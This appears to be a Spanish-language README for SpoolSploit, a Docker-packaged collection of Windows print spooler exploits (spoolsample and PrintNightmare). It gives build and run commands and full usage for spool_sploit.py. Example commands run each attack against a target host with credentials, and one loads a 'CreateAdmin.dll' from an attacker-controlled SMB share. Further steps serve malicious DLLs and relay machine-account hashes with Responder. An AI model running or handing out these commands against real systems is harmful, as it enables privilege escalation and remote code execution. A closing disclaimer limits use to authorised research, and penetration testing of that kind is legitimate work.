
Una colección de exploits del spooler de impresión de Windows, contenedorizados con otras utilidades para una explotación práctica.
Una colección de exploits del spooler de impresión de Windows contenerizados con otras utilidades para explotación práctica.
SpoolSploit es una colección de exploits del spooler de impresión de Windows contenerizados con otras utilidades para explotación práctica. Un par de métodos altamente efectivos sería retransmitir credenciales de cuentas de máquina para escalar privilegios y ejecutar DLL maliciosos en endpoints con acceso total al sistema.

A partir de la fecha de lanzamiento, el contenedor Docker de SpoolSploit se ha probado exitosamente en las últimas versiones de MacOS, Ubuntu Linux y Windows 10.
Aunque no es obligatorio, si deseas alojar DLL maliciosos o realizar ataques de retransmisión de credenciales, todo dentro del contenedor SpoolSploit, debes asegurarte de que el puerto 445 no esté en uso en el host que ejecuta Docker. Esto es más frecuente cuando se ejecuta este contenedor en un host Windows, ya que utiliza el puerto 445 por defecto. Si deshabilitar el puerto 445 en tu host no es práctico, ¡no hay problema! Simplemente puedes ejecutar el contenedor Docker en una máquina virtual que tenga el adaptador de red configurado en modo puente. Esto permitirá servir DLL maliciosos y retransmitir credenciales. Si solo deseas servir DLL maliciosos, podrías simplemente alojar los DLL en un recurso compartido de acceso anónimo en tu sistema operativo host o en un recurso compartido de un servidor comprometido.
git clone https://github.com/BeetleChunks/SpoolSploit
cd SpoolSploit
sudo docker build -t spoolsploit .
sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest
sudo docker exec -it spoolsploit /bin/bash
usage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD
optional arguments:
-h, --help show this help message and exit
-a {spoolsample,nightmare}, --attack {spoolsample,nightmare}
Attack type to execute on target(s).
-rH RHOST, --rhost RHOST
Remote target IP, CIDR range, or filename (file:<path>)
-rP {139,445}, --rport {139,445}
Remote SMB server port.
-lH LHOST, --lhost LHOST
Listening hostname or IP
-lS LSHARE, --lshare LSHARE
Staging SMB share (UNC)
-d DOMAIN, --domain DOMAIN
Domain for authentication
-u USER, --username USER
Username for authentication
-p PASSWD, --password PASSWD
Password for authentication
Example - spoolsample:
python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
Example - nightmare:
python3 spool_sploit.py -a nightmare -lS '\\10.14.1.24\C$\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
El contenedor Docker de SpoolSploit incluye Responder para retransmitir hashes de cuentas de máquina obtenidos al ejecutar el ataque spoolsample en SpoolSploit. Dado que existen varios artículos excelentes que detallan el proceso de retransmisión de credenciales privilegiadas de cuentas de máquina para escalar privilegios, no entraré en esos detalles aquí.
En el contenedor SpoolSploit se incluye un servidor SMB implementado a través de Impacket. Este servidor se puede utilizar para alojar DLL maliciosos al ejecutar el ataque printnightmare en SpoolSploit. La configuración predeterminada del servidor SMB funciona, pero si deseas personalizarla, puedes modificar el archivo de configuración ubicado en /home/dlogmas/smbserver/smb-v1.conf.
Lo único que necesitas hacer es copiar tu DLL a la carpeta de recursos compartidos del servidor SMB en el contenedor SpoolSploit. La ruta del recurso compartido en el contenedor es /home/dlogmas/smbserver/share/. Los siguientes comandos muestran cómo subir un DLL al contenedor SpoolSploit y hacerlo accesible para el servidor SMB.
sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/
sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'
Este código de prueba de concepto ha sido creado para investigación académica y no está destinado a ser utilizado contra sistemas excepto cuando se haya autorizado explícitamente. El código se proporciona tal cual, sin garantías ni promesas sobre su ejecución. No soy responsable por el uso indebido de este código.